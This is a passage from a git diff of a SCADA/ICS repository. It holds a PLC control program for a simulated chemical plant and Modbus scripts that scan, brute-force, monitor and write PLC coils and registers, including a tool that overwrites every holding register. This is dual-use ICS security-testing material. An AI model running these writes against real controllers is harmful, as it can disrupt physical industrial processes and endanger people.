f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = 